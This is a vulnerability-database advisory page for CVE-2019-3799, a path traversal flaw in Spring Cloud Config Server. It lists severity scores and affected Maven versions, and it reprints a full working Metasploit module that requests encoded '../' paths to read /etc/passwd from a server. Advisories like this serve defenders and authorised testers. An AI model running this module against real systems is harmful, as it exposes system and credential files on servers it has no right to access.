CVE-2019-3799

unknown
Published 2019-05-23 ยท Modified 2023-11-08
CVSS v3
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CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CVSS v4 NEW
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not yet in upstream
VIR risk
1.0

Description

Path Traversal in Spring Cloud Config

Predictions

Exploit likelihood
30%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-46772 webapps java ruby ยท 2 KB
Dhiraj Mishra ยท 2019-04-30

Spring Cloud Config 2.1.x - Path Traversal (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Spring Cloud Config Server Directory Traversal',
      'Description' => %q{
        This module exploits an unauthenticated directory traversal
vulnerability
        which exists in Spring Cloud Config versions 2.1.x prior to 2.1.2,
        versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6.
Spring
        Cloud Config listens by default on port 8888.
      },
      'References'  =>
        [
          ['CVE', '2019-3799'],
          ['URL', 'https://pivotal.io/security/cve-2019-3799']
        ],
      'Author'      =>
        [
          'Vern', # Vulnerability discovery
          'Dhiraj Mishra' # Metasploit module
        ],
      'DisclosureDate' => '2019-04-17',
      'License'        => MSF_LICENSE
    ))

    register_options(
      [
        Opt::RPORT(8888),
        OptString.new('FILEPATH', [true, "The path to the file to read",
'/etc/passwd']),
        OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])
      ])
  end

  def data
    Rex::Text.rand_text_alpha(3..8)
  end

  def run_host(ip)
    filename = datastore['FILEPATH']
    traversal = "#{"..%252F" * datastore['DEPTH']}#{filename}"
    uri = "/#{data}/#{data}/master/#{traversal}"

    res = send_request_raw({
      'method' => 'GET',
      'uri'    => uri
    })

    unless res && res.code == 200
      print_error('Nothing was downloaded')
      return
    end

    vprint_good("#{peer} - #{res.body}")
    path = store_loot(
      'springcloud.traversal',
      'text/plain',
      ip,
      res.body,
      filename
    )
    print_good("File saved in: #{path}")
  end
end

Metasploit modules

Spring Cloud Config Server Directory Traversal
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Package impact

EcosystemPackageVulnerableFixed
java Mavenorg.springframework.cloud:spring-cloud-config-server<1.4.61.4.6
java Mavenorg.springframework.cloud:spring-cloud-config-server>=2.0.0,<2.0.42.0.4
java Mavenorg.springframework.cloud:spring-cloud-config-server>=2.1.0,<2.1.22.1.2

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

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